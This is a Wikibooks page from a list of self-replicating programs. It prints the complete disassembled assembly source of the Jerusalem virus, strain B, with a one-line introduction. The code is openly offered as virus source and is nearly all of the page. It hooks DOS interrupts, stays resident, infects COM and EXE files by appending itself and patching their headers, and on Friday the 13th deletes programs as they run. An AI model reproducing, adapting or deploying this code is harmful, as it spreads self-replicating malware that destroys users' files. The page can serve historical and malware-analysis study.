Self-Replicating Automata/List/Jerusalem

From Wikibooks, open books for an open world
< Self-Replicating Automata‎ | List
Jump to: navigation, search

Introduction[edit]

The Jerusalem family is very prolific in the number of variants . This is one of the variants of Jerusalem virus.

Source Code[edit]


PAGE  59,132

;                           Jerusalem Virus - Strain B

.286c

data_1e         equ     2Ch
data_2e         equ     43h
data_3e         equ     45h
data_4e         equ     47h
data_5e         equ     49h
data_6e         equ     51h
data_7e         equ     53h
data_8e         equ     57h
data_9e         equ     5Dh
data_10e        equ     5Fh
data_11e        equ     61h
data_12e        equ     63h
data_13e        equ     65h
data_14e        equ     78h
data_15e        equ     7Ah
data_16e        equ     7Ch
data_17e        equ     7Eh
data_18e        equ     0Ah
data_19e        equ     0Ch
data_20e        equ     0Eh
data_21e        equ     0Fh
data_22e        equ     11h
data_23e        equ     13h
data_24e        equ     15h
data_25e        equ     17h
data_26e        equ     19h
data_27e        equ     1Bh
data_28e        equ     1Dh
data_29e        equ     1Fh
data_30e        equ     29h
data_31e        equ     2Bh
data_32e        equ     2Dh
data_33e        equ     2Fh
data_34e        equ     31h
data_35e        equ     33h
data_36e        equ     4Eh
data_37e        equ     70h
data_38e        equ     72h
data_39e        equ     74h
data_40e        equ     76h
data_41e        equ     7Ah
data_42e        equ     80h
data_43e        equ     82h
data_44e        equ     8Fh

seg_a           segment
                assume  cs:seg_a, ds:seg_a


                org     100h

je              proc    far

start:
                jmp     loc_2                   ; (0195)
                db      73h, 55h, 4Dh, 73h, 44h, 6Fh
                db      73h, 0, 1, 0EBh, 21h, 0
                db      0, 0, 0ABh, 0Bh, 2Ch, 2
                db      70h, 0, 92h, 0Eh, 29h, 1Ah
                db      0EBh, 4, 59h, 6Fh, 0A8h
                db      7Bh
                db      13 dup (0)
                db      0E8h, 6, 0D7h, 62h, 21h, 80h
                db      0, 0, 0, 80h, 0, 62h
                db      21h, 5Ch, 0, 62h, 21h, 6Ch
                db      0, 62h, 21h, 10h, 7, 60h
                db      5Bh, 0C5h, 0, 60h, 5Bh, 0
                db      0F0h, 6, 0, 4Dh, 5Ah, 30h
                db      0, 53h, 0, 1Fh, 0, 20h
                db      0, 0, 0, 0FFh, 0FFh, 0B2h
                db      9, 10h, 7, 84h, 19h, 0C5h
                db      0, 0B2h, 9, 20h, 0, 0
                db      0, 2Eh, 0Dh, 0Ah, 0, 0
                db      5, 0, 20h, 0, 26h, 12h
                db      46h, 0A3h, 0, 2, 10h, 0
                db      20h, 9Dh, 0, 0, 7Bh, 3Dh
                db      2Eh, 9Bh
                db      'COMMAND.COM'
                db      1, 0, 0, 0, 0, 0
loc_2:
                cld                             ; Clear direction
                mov     ah,0E0h
                int     21h                     ; DOS Services  ah=function E0h
                cmp     ah,0E0h
                jae     loc_3                   ; Jump if above or =
                cmp     ah,3
                jb      loc_3                   ; Jump if below
                mov     ah,0DDh
                mov     di,100h
                mov     si,710h
                add     si,di
                mov     cx,cs:[di+11h]
                nop                             ;*Fixup for MASM (M)
                int     21h                     ; DOS Services  ah=function DDh
loc_3:
                mov     ax,cs
                add     ax,10h
                mov     ss,ax
                mov     sp,700h
loc_4:
                push    ax
                mov     ax,0C5h
                push    ax
                retf                            ; Return far
                db      0FCh, 6, 2Eh, 8Ch, 6, 31h
                db      0, 2Eh, 8Ch, 6, 39h, 0
                db      2Eh, 8Ch, 6, 3Dh, 0, 2Eh
                db      8Ch, 6, 41h, 0, 8Ch, 0C0h
                db      5, 10h, 0, 2Eh, 1, 6
                db      49h, 0, 2Eh, 1, 6, 45h
                db      0, 0B4h, 0E0h, 0CDh, 21h, 80h
                db      0FCh, 0E0h, 73h, 13h, 80h, 0FCh
                db      3, 7, 2Eh, 8Eh, 16h, 45h
                db      0, 2Eh, 8Bh, 26h, 43h, 0
                db      2Eh, 0FFh, 2Eh, 47h, 0, 33h
                db      0C0h, 8Eh, 0C0h, 26h, 0A1h, 0FCh
                db      3, 2Eh, 0A3h, 4Bh, 0, 26h
                db      0A0h, 0FEh, 3, 2Eh, 0A2h, 4Dh
                db      0
                db      26h

je              endp

;                       External Entry Point

int_24h_entry   proc    far
                mov     word ptr ds:[3FCh],0A5F3h
                mov     byte ptr es:data_47,0CBh
                pop     ax
                add     ax,10h
                mov     es,ax
                push    cs
                pop     ds
                mov     cx,710h
                shr     cx,1                    ; Shift w/zeros fill
                xor     si,si                   ; Zero register
                mov     di,si
                push    es
                mov     ax,142h
                push    ax
;*              jmp     far ptr loc_1           ;*(0000:03FC)
                db      0EAh, 0FCh, 3, 0, 0
                db      8Ch, 0C8h, 8Eh, 0D0h, 0BCh, 0
                db      7, 33h, 0C0h, 8Eh, 0D8h, 2Eh
                db      0A1h, 4Bh, 0, 0A3h, 0FCh, 3
                db      2Eh, 0A0h, 4Dh, 0, 0A2h, 0FEh
                db      3
int_24h_entry   endp


;                       External Entry Point

int_21h_entry   proc    far
                mov     bx,sp
                mov     cl,4
                shr     bx,cl                   ; Shift w/zeros fill
                add     bx,10h
                mov     cs:data_35e,bx
                mov     ah,4Ah                  ; 'J'
                mov     es,cs:data_34e
                int     21h                     ; DOS Services  ah=function 4Ah
                                                ;  change mem allocation, bx=siz
                mov     ax,3521h
                int     21h                     ; DOS Services  ah=function 35h
                                                ;  get intrpt vector al in es:bx
                mov     cs:data_25e,bx
                mov     cs:data_26e,es
                push    cs
                pop     ds
                mov     dx,25Bh
                mov     ax,2521h
                int     21h                     ; DOS Services  ah=function 25h
                                                ;  set intrpt vector al to ds:dx
                mov     es,ds:data_34e
                mov     es,es:data_1e
                xor     di,di                   ; Zero register
                mov     cx,7FFFh
                xor     al,al                   ; Zero register

locloop_5:
                repne   scasb                   ; Rep zf=0+cx >0 Scan es:[di] for al
                cmp     es:[di],al
                loopnz  locloop_5               ; Loop if zf=0, cx>0

                mov     dx,di
                add     dx,3
                mov     ax,4B00h
                push    es
                pop     ds
                push    cs
                pop     es
                mov     bx,35h
                push    ds
                push    es
                push    ax
                push    bx
                push    cx
                push    dx
                mov     ah,2Ah                  ; '*'
                int     21h                     ; DOS Services  ah=function 2Ah
                                                ;  get date, cx=year, dx=mon/day
                mov     byte ptr cs:data_20e,0
                cmp     cx,7C3h
                je      loc_7                   ; Jump if equal
                cmp     al,5                    ; Check to see if it's Friday
                jne     loc_6                   ; Jump if not equal
                cmp     dl,0Dh                  ; Check to see if it's the 13th
                jne     loc_6                   ; Jump if not equal
                inc     byte ptr cs:data_20e
                jmp     short loc_7             ; (02F7)
                db      90h
loc_6:
                mov     ax,3508h
                int     21h                     ; DOS Services  ah=function 35h
                                                ;  get intrpt vector al in es:bx
                mov     cs:data_23e,bx
                mov     cs:data_24e,es
                push    cs
                pop     ds
                mov     word ptr ds:data_29e,7E90h
                mov     ax,2508h
                mov     dx,21Eh
                int     21h                     ; DOS Services  ah=function 25h
                                                ;  set intrpt vector al to ds:dx
loc_7:
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                pop     es
                pop     ds
                pushf                           ; Push flags
                call    dword ptr cs:data_25e
                push    ds
                pop     es
                mov     ah,49h                  ; 'I'
                int     21h                     ; DOS Services  ah=function 49h
                                                ;  release memory block, es=seg
                mov     ah,4Dh                  ; 'M'
                int     21h                     ; DOS Services  ah=function 4Dh
                                                ;  get return code info in ax
                mov     ah,31h                  ; '1'
                mov     dx,600h
                mov     cl,4
                shr     dx,cl                   ; Shift w/zeros fill
                add     dx,10h
                int     21h                     ; DOS Services  ah=function 31h
                                                ;  terminate & stay resident
                db      32h, 0C0h, 0CFh, 2Eh, 83h, 3Eh
                db      1Fh, 0, 2, 75h, 17h, 50h
                db      53h, 51h, 52h, 55h, 0B8h, 2
                db      6, 0B7h, 87h, 0B9h, 5, 5
                db      0BAh, 10h, 10h, 0CDh, 10h, 5Dh
                db      5Ah, 59h, 5Bh, 58h, 2Eh, 0FFh
                db      0Eh, 1Fh, 0, 75h, 12h, 2Eh
                db      0C7h, 6, 1Fh, 0, 1, 0
                db      50h, 51h, 56h, 0B9h, 1, 40h
                db      0F3h, 0ACh
                db      5Eh, 59h, 58h
loc_8:
                jmp     dword ptr cs:data_23e
                db      9Ch, 80h, 0FCh, 0E0h, 75h, 5
                db      0B8h, 0, 3, 9Dh, 0CFh, 80h
                db      0FCh, 0DDh, 74h, 13h, 80h, 0FCh
                db      0DEh, 74h, 28h, 3Dh, 0, 4Bh
                db      75h, 3, 0E9h, 0B4h, 0
loc_9:
                popf                            ; Pop flags
                jmp     dword ptr cs:data_25e
loc_10:
                pop     ax
                pop     ax
                mov     ax,100h
                mov     cs:data_18e,ax
                pop     ax
                mov     cs:data_19e,ax
                rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
                popf                            ; Pop flags
                mov     ax,cs:data_21e
                jmp     dword ptr cs:data_18e
loc_11:
                add     sp,6
                popf                            ; Pop flags
                mov     ax,cs
                mov     ss,ax
                mov     sp,710h
                push    es
                push    es
                xor     di,di                   ; Zero register
                push    cs
                pop     es
                mov     cx,10h
                mov     si,bx
                mov     di,21h
                rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
                mov     ax,ds
                mov     es,ax
                mul     word ptr cs:data_41e    ; ax = data * ax
                add     ax,cs:data_31e
                adc     dx,0
                div     word ptr cs:data_41e    ; ax,dxrem=dx:ax/data
                mov     ds,ax
                mov     si,dx
                mov     di,dx
                mov     bp,es
                mov     bx,cs:data_33e
                or      bx,bx                   ; Zero ?
                jz      loc_13                  ; Jump if zero
loc_12:
                mov     cx,8000h
                rep     movsw                   ; Rep when cx >0 Mov [si] to es:[di]
                add     ax,1000h
                add     bp,1000h
                mov     ds,ax
                mov     es,bp
                dec     bx
                jnz     loc_12                  ; Jump if not zero
loc_13:
                mov     cx,cs:data_32e
                rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
                pop     ax
                push    ax
                add     ax,10h
                add     cs:data_30e,ax
data_47         db      2Eh
                db      1, 6, 25h, 0, 2Eh, 0A1h
                db      21h, 0, 1Fh, 7, 2Eh, 8Eh
                db      16h, 29h, 0, 2Eh, 8Bh, 26h
                db      27h, 0, 2Eh, 0FFh, 2Eh, 23h
                db      0
loc_14:
                xor     cx,cx                   ; Zero register
                mov     ax,4301h
                int     21h                     ; DOS Services  ah=function 43h
                                                ;  get/set file attrb, nam@ds:dx
                mov     ah,41h                  ; 'A'
                int     21h                     ; DOS Services  ah=function 41h
                                                ;  delete file, name @ ds:dx
                mov     ax,4B00h
                popf                            ; Pop flags
                jmp     dword ptr cs:data_25e
loc_15:
                cmp     byte ptr cs:data_20e,1
                je      loc_14                  ; Jump if equal
                mov     word ptr cs:data_37e,0FFFFh
                mov     word ptr cs:data_44e,0
                mov     cs:data_42e,dx
                mov     cs:data_43e,ds
                push    ax
                push    bx
                push    cx
                push    dx
                push    si
                push    di
                push    ds
                push    es
                cld                             ; Clear direction
                mov     di,dx
                xor     dl,dl                   ; Zero register
                cmp     byte ptr [di+1],3Ah     ; ':'
                jne     loc_16                  ; Jump if not equal
                mov     dl,[di]
                and     dl,1Fh
loc_16:
                mov     ah,36h                  ; '6'
                int     21h                     ; DOS Services  ah=function 36h
                                                ;  get free space, drive dl,1=a:
                cmp     ax,0FFFFh
                jne     loc_18                  ; Jump if not equal
loc_17:
                jmp     loc_44                  ; (06E7)
loc_18:
                mul     bx                      ; dx:ax = reg * ax
                mul     cx                      ; dx:ax = reg * ax
                or      dx,dx                   ; Zero ?
                jnz     loc_19                  ; Jump if not zero
                cmp     ax,710h
                jb      loc_17                  ; Jump if below
loc_19:
                mov     dx,cs:data_42e
                push    ds
                pop     es
                xor     al,al                   ; Zero register
                mov     cx,41h
                repne   scasb                   ; Rep zf=0+cx >0 Scan es:[di] for al
                mov     si,cs:data_42e
loc_20:
                mov     al,[si]
                or      al,al                   ; Zero ?
                jz      loc_22                  ; Jump if zero
                cmp     al,61h                  ; 'a'
                jb      loc_21                  ; Jump if below
                cmp     al,7Ah                  ; 'z'
                ja      loc_21                  ; Jump if above
                sub     byte ptr [si],20h       ; ' '
loc_21:
                inc     si
                jmp     short loc_20            ; (0490)
loc_22:
                mov     cx,0Bh
                sub     si,cx
                mov     di,84h
                push    cs
                pop     es
                mov     cx,0Bh
                repe    cmpsb                   ; Rep zf=1+cx >0 Cmp [si] to es:[di]
                jnz     loc_23                  ; Jump if not zero
                jmp     loc_44                  ; (06E7)
loc_23:
                mov     ax,4300h
                int     21h                     ; DOS Services  ah=function 43h
                                                ;  get/set file attrb, nam@ds:dx
                jc      loc_24                  ; Jump if carry Set
                mov     cs:data_38e,cx
loc_24:
                jc      loc_26                  ; Jump if carry Set
                xor     al,al                   ; Zero register
                mov     cs:data_36e,al
                push    ds
                pop     es
                mov     di,dx
                mov     cx,41h
                repne   scasb                   ; Rep zf=0+cx >0 Scan es:[di] for al
                cmp     byte ptr [di-2],4Dh     ; 'M'
                je      loc_25                  ; Jump if equal
                cmp     byte ptr [di-2],6Dh     ; 'm'
                je      loc_25                  ; Jump if equal
                inc     byte ptr cs:data_36e
loc_25:
                mov     ax,3D00h
                int     21h                     ; DOS Services  ah=function 3Dh
                                                ;  open file, al=mode,name@ds:dx
loc_26:
                jc      loc_28                  ; Jump if carry Set
                mov     cs:data_37e,ax
                mov     bx,ax
                mov     ax,4202h
                mov     cx,0FFFFh
                mov     dx,0FFFBh
                int     21h                     ; DOS Services  ah=function 42h
                                                ;  move file ptr, cx,dx=offset
                jc      loc_26                  ; Jump if carry Set
                add     ax,5
                mov     cs:data_22e,ax
                mov     cx,5
                mov     dx,6Bh
                mov     ax,cs
                mov     ds,ax
                mov     es,ax
                mov     ah,3Fh                  ; '?'
                int     21h                     ; DOS Services  ah=function 3Fh
                                                ;  read file, cx=bytes, to ds:dx
                mov     di,dx
                mov     si,5
                repe    cmpsb                   ; Rep zf=1+cx >0 Cmp [si] to es:[di]
                jnz     loc_27                  ; Jump if not zero
                mov     ah,3Eh                  ; '>'
                int     21h                     ; DOS Services  ah=function 3Eh
                                                ;  close file, bx=file handle
                jmp     loc_44                  ; (06E7)
loc_27:
                mov     ax,3524h
                int     21h                     ; DOS Services  ah=function 35h
                                                ;  get intrpt vector al in es:bx
                mov     ds:data_27e,bx
                mov     ds:data_28e,es
                mov     dx,21Bh
                mov     ax,2524h
                int     21h                     ; DOS Services  ah=function 25h
                                                ;  set intrpt vector al to ds:dx
                lds     dx,dword ptr ds:data_42e        ; Load 32 bit ptr
                xor     cx,cx                   ; Zero register
                mov     ax,4301h
                int     21h                     ; DOS Services  ah=function 43h
                                                ;  get/set file attrb, nam@ds:dx
loc_28:
                jc      loc_29                  ; Jump if carry Set
                mov     bx,cs:data_37e
                mov     ah,3Eh                  ; '>'
                int     21h                     ; DOS Services  ah=function 3Eh
                                                ;  close file, bx=file handle
                mov     word ptr cs:data_37e,0FFFFh
                mov     ax,3D02h
                int     21h                     ; DOS Services  ah=function 3Dh
                                                ;  open file, al=mode,name@ds:dx
                jc      loc_29                  ; Jump if carry Set
                mov     cs:data_37e,ax
                mov     ax,cs
                mov     ds,ax
                mov     es,ax
                mov     bx,ds:data_37e
                mov     ax,5700h
                int     21h                     ; DOS Services  ah=function 57h
                                                ;  get/set file date & time
                mov     ds:data_39e,dx
                mov     ds:data_40e,cx
                mov     ax,4200h
                xor     cx,cx                   ; Zero register
                mov     dx,cx
                int     21h                     ; DOS Services  ah=function 42h
                                                ;  move file ptr, cx,dx=offset
loc_29:
                jc      loc_32                  ; Jump if carry Set
                cmp     byte ptr ds:data_36e,0
                je      loc_30                  ; Jump if equal
                jmp     short loc_34            ; (05E6)
                db      90h
loc_30:
                mov     bx,1000h
                mov     ah,48h                  ; 'H'
                int     21h                     ; DOS Services  ah=function 48h
                                                ;  allocate memory, bx=bytes/16
                jnc     loc_31                  ; Jump if carry=0
                mov     ah,3Eh                  ; '>'
                mov     bx,ds:data_37e
                int     21h                     ; DOS Services  ah=function 3Eh
                                                ;  close file, bx=file handle
                jmp     loc_44                  ; (06E7)
loc_31:
                inc     word ptr ds:data_44e
                mov     es,ax
                xor     si,si                   ; Zero register
                mov     di,si
                mov     cx,710h
                rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
                mov     dx,di
                mov     cx,ds:data_22e
                mov     bx,ds:data_37e
                push    es
                pop     ds
                mov     ah,3Fh                  ; '?'
                int     21h                     ; DOS Services  ah=function 3Fh
                                                ;  read file, cx=bytes, to ds:dx
loc_32:
                jc      loc_33                  ; Jump if carry Set
                add     di,cx
                xor     cx,cx                   ; Zero register
                mov     dx,cx
                mov     ax,4200h
                int     21h                     ; DOS Services  ah=function 42h
                                                ;  move file ptr, cx,dx=offset
                mov     si,5
                mov     cx,5
                rep     movs  byte ptr es:[di],cs:[si]  ; Rep when cx >0 Mov [si] to es:[di]
                mov     cx,di
                xor     dx,dx                   ; Zero register
                mov     ah,40h                  ; '@'
                int     21h                     ; DOS Services  ah=function 40h
                                                ;  write file cx=bytes, to ds:dx
loc_33:
                jc      loc_35                  ; Jump if carry Set
                jmp     loc_42                  ; (06A2)
loc_34:
                mov     cx,1Ch
                mov     dx,4Fh
                mov     ah,3Fh                  ; '?'
                int     21h                     ; DOS Services  ah=function 3Fh
                                                ;  read file, cx=bytes, to ds:dx
loc_35:
                jc      loc_37                  ; Jump if carry Set
                mov     word ptr ds:data_11e,1984h
                mov     ax,ds:data_9e
                mov     ds:data_3e,ax
                mov     ax,ds:data_10e
                mov     ds:data_2e,ax
                mov     ax,ds:data_12e
                mov     ds:data_4e,ax
                mov     ax,ds:data_13e
                mov     ds:data_5e,ax
                mov     ax,ds:data_7e
                cmp     word ptr ds:data_6e,0
                je      loc_36                  ; Jump if equal
                dec     ax
loc_36:
                mul     word ptr ds:data_14e    ; ax = data * ax
                add     ax,ds:data_6e
                adc     dx,0
                add     ax,0Fh
                adc     dx,0
                and     ax,0FFF0h
                mov     ds:data_16e,ax
                mov     ds:data_17e,dx
                add     ax,710h
                adc     dx,0
loc_37:
                jc      loc_39                  ; Jump if carry Set
                div     word ptr ds:data_14e    ; ax,dxrem=dx:ax/data
                or      dx,dx                   ; Zero ?
                jz      loc_38                  ; Jump if zero
                inc     ax
loc_38:
                mov     ds:data_7e,ax
                mov     ds:data_6e,dx
                mov     ax,ds:data_16e
                mov     dx,ds:data_17e
                div     word ptr ds:data_15e    ; ax,dxrem=dx:ax/data
                sub     ax,ds:data_8e
                mov     ds:data_13e,ax
                mov     word ptr ds:data_12e,0C5h
                mov     ds:data_9e,ax
                mov     word ptr ds:data_10e,710h
                xor     cx,cx                   ; Zero register
                mov     dx,cx
                mov     ax,4200h
                int     21h                     ; DOS Services  ah=function 42h
                                                ;  move file ptr, cx,dx=offset
loc_39:
                jc      loc_40                  ; Jump if carry Set
                mov     cx,1Ch
                mov     dx,4Fh
                mov     ah,40h                  ; '@'
                int     21h                     ; DOS Services  ah=function 40h
                                                ;  write file cx=bytes, to ds:dx
loc_40:
                jc      loc_41                  ; Jump if carry Set
                cmp     ax,cx
                jne     loc_42                  ; Jump if not equal
                mov     dx,ds:data_16e
                mov     cx,ds:data_17e
                mov     ax,4200h
                int     21h                     ; DOS Services  ah=function 42h
                                                ;  move file ptr, cx,dx=offset
loc_41:
                jc      loc_42                  ; Jump if carry Set
                xor     dx,dx                   ; Zero register
                mov     cx,710h
                mov     ah,40h                  ; '@'
                int     21h                     ; DOS Services  ah=function 40h
                                                ;  write file cx=bytes, to ds:dx
loc_42:
                cmp     word ptr cs:data_44e,0
                je      loc_43                  ; Jump if equal
                mov     ah,49h                  ; 'I'
                int     21h                     ; DOS Services  ah=function 49h
                                                ;  release memory block, es=seg
loc_43:
                cmp     word ptr cs:data_37e,0FFFFh
                je      loc_44                  ; Jump if equal
                mov     bx,cs:data_37e
                mov     dx,cs:data_39e
                mov     cx,cs:data_40e
                mov     ax,5701h
                int     21h                     ; DOS Services  ah=function 57h
                                                ;  get/set file date & time
                mov     ah,3Eh                  ; '>'
                int     21h                     ; DOS Services  ah=function 3Eh
                                                ;  close file, bx=file handle
                lds     dx,dword ptr cs:data_42e        ; Load 32 bit ptr
                mov     cx,cs:data_38e
                mov     ax,4301h
                int     21h                     ; DOS Services  ah=function 43h
                                                ;  get/set file attrb, nam@ds:dx
                lds     dx,dword ptr cs:data_27e        ; Load 32 bit ptr
                mov     ax,2524h
                int     21h                     ; DOS Services  ah=function 25h
                                                ;  set intrpt vector al to ds:dx
loc_44:
                pop     es
                pop     ds
                pop     di
                pop     si
                pop     dx
                pop     cx
                pop     bx
                pop     ax
                popf                            ; Pop flags
                jmp     dword ptr cs:data_25e
                db      11 dup (0)
                db      4Dh, 63h, 21h, 4
                db      13 dup (0)
                db      5Bh, 0, 0, 0, 2Bh, 0
                db      0FFh
                db      17 dup (0FFh)
                db      'E:\SV\EXECDOS.BAT'
                db      0
                db      'EXECDOS', 0Dh
                db      0, 7Dh, 0, 0, 80h, 0
                db      53h, 0Eh, 5Ch, 0, 53h, 0Eh
                db      6Ch, 4Dh, 63h, 21h, 0, 10h
                db      'EC=F:\DOS\C'
                db      0E9h, 92h, 0, 73h, 55h, 4Dh
                db      73h, 44h, 6Fh, 73h, 0, 1
                db      0B8h, 22h, 0, 0, 0, 1Ah
                db      3, 2Ch, 2, 70h, 0
loc_45:
                xchg    ax,dx
                push    cs
                sub     [bp+si],bx
;*              jmp     short loc_46            ;*(0781)
                db      0EBh, 4
                db      63h, 21h, 0D0h, 59h
int_21h_entry   endp


seg_a           ends



                end     start